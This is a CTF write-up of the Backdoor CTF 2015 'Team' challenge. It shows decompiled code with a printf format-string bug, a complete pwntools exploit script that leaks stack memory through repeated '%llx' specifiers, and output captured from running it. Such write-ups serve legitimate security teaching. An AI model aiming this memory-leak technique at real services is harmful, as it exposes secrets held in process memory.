Rating:

# Backdoor CTF 2015: Team

**Category:** Pwnable
**Points:** 600
**Description:**

> There is a wierd kind of authentication service running: nc hack.bckdr.in 8004.
>
> The binary can be found [here](challenge/team).
> The vampire says that there is no need for bruteforce.

## Write-up

We first check the binary:

>```bash
>file team
team: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0x6d83b63fd19b24c9023ec3e7f43f563da4dcd729, stripped
>```

Fire up gdb (with [PEDA](https://github.com/longld/peda)):

>```bash
> gdb-peda$ checksec
> CANARY : ENABLED
> FORTIFY : disabled
> NX : ENABLED
> PIE : disabled
> RELRO : Partial
>```

Looks like we're dealing with a 32-bit ELF executable with non-exec stack and stack canary. Let's decompile it (function names added for clarity):

>```c
>int entryroutine()
>{
> const char *v0; // ST18_4@1
> const char *v1; // ST1C_4@1
>
> v0 = (const char *)malloc(0xC8u);
> v1 = (const char *)malloc(0x64u);
> printf("Enter teamname: ");
> fflush(stdout);
> __isoc99_scanf("%200s", v0);
> printf("Enter flag: ");
> fflush(stdout);
> __isoc99_scanf("%100s", v1);
> sleep(2u);
> checkflag(v0, v1);
> free((void *)v0);
> free((void *)v1);
> return 0;
>}
>
>signed int __cdecl checkflag(const char *a1, const char *a2)
>{
> signed int result; // eax@2
> int v3; // edx@7
> FILE *stream; // [sp+24h] [bp-74h]@1
> char s; // [sp+28h] [bp-70h]@3
> int v6; // [sp+8Ch] [bp-Ch]@1
>
> v6 = *MK_FP(__GS__, 20);
> stream = fopen("flag.txt", "r");
> if ( stream )
> {
> fgets(&s, 100, stream);
> printf(a1);
> if ( !strcmp(&s, a2) )
> puts(" : correct flag!");
> else
> puts(" : incorrect flag. Try again.");
> fclose(stream);
> result = 0;
> }
> else
> {
> result = 1;
> }
> v3 = *MK_FP(__GS__, 20) ^ v6;
> return result;
>}
>```

As we can see the application first asks for our team name and the flag, sleeps for 2 seconds and calls checkflag(teamname, flag).
The checkflag routine is a simple routine which opens the flag file, reads the flag into variable s (which is on the stack), compares it to the flag we supplied and tells us if it was correct. The vulnerability is fairly obvious in the following line:

>```c
> printf(a1);
>```

Calling printf with a user-supplied format specifier leads to a trivial format-string exploit. In this case we don't even have to pop a shell since we can simply read the flag from the stack. We can do this by [dumping](solution/teamsploit.py) the first 30 8-byte words (using the %llx format specifier) from the stack:

>```python
>#!/usr/bin/python
>#
># Backdoor CTF 2015
># TEAM (PWN/600)
>#
># @a: Smoke Leet Everyday
># @u: https://github.com/smokeleeteveryday
>#
>
>from pwn import *
>from struct import pack, unpack
>
># Split into blocks
>def split_blocks(b, block_size):
> return [b[i:i+block_size] for i in range(0, len(b), block_size)]
>
># Reverse order (take block size into account)
>def rev(b, block_size):
> blocks = split_blocks(b, block_size)
> return "".join(blocks[::-1])
>
>host = 'hack.bckdr.in'
>h = remote(host, 8004, timeout = None)
>print h.recvuntil('Enter teamname: ')
># Send format string exploit (dump 30 8-byte words from stack)
>h.send("%llx." * 30 + "\n")
>print h.recvuntil('Enter flag: ')
>h.send("blaat\n")
>msg = h.recvall()
>print msg
>h.close()
>
># Split stack words
>msg = msg.split(".")
>
># Chop flag into correct representation
>blocks = [msg[4][0:8]]
>
>for part in msg[5: 12]:
> blocks.append(part)
>
>blocks.append(msg[12][7:])
>
>hsh = ""
>for block in blocks:
> hsh += rev(block, 2)
>
>print "[+]Got flag: [%s]" % hsh
>```

When dumping the stack, you can see several words (seperated by periods), some of which consist of hexadecimal representation of ascii characters only. This is where the flag is located. It's not neatly aligned with the way we dumped it but a little bit of (dirty) parsing (see above) can fix that (keep in mind the dumped stack words are in reverse order and every 2 characters of the hexadecimal representation of the flag represent a single flag character). This gives us the following output:

>```bash
>$ python teamsploit.py
>[+] Opening connection to hack.bckdr.in on port 8004: Done
>Enter teamname:
>Enter flag:
>[+] Recieving all data: Done (451B)
>[*] Closed connection to hack.bckdr.in port 8004
>942414000000064.f76f8c20.94240d800000001.f772255c09424008.3566336409424140.3765313964363031.3835656232346137.6138356463613530.3131646164386231.3563636638376661.6664326331383366.3533353936333635.804830062663137.1.1.ffb4b43800000000.1f7715500.7d80e100.ffb4b43800000000.94240080804880c.ffb4b4dc094240d8.f76f83c4f758410d.9424008f7722000.8048830094240d8.0.1f756aa63.ffb4b4dcffb4b4d4.1f770fcea.ffb4b474ffb4b4d4.80482e00804a038. : incorrect flag. Try again.
>
>[+]Got flag: [{flag removed upon request of backdoorCTF admins ;)}]
>```

Original writeup (https://github.com/smokeleeteveryday/CTF_WRITEUPS/tree/master/2015/BACKDOORCTF/pwnable/team).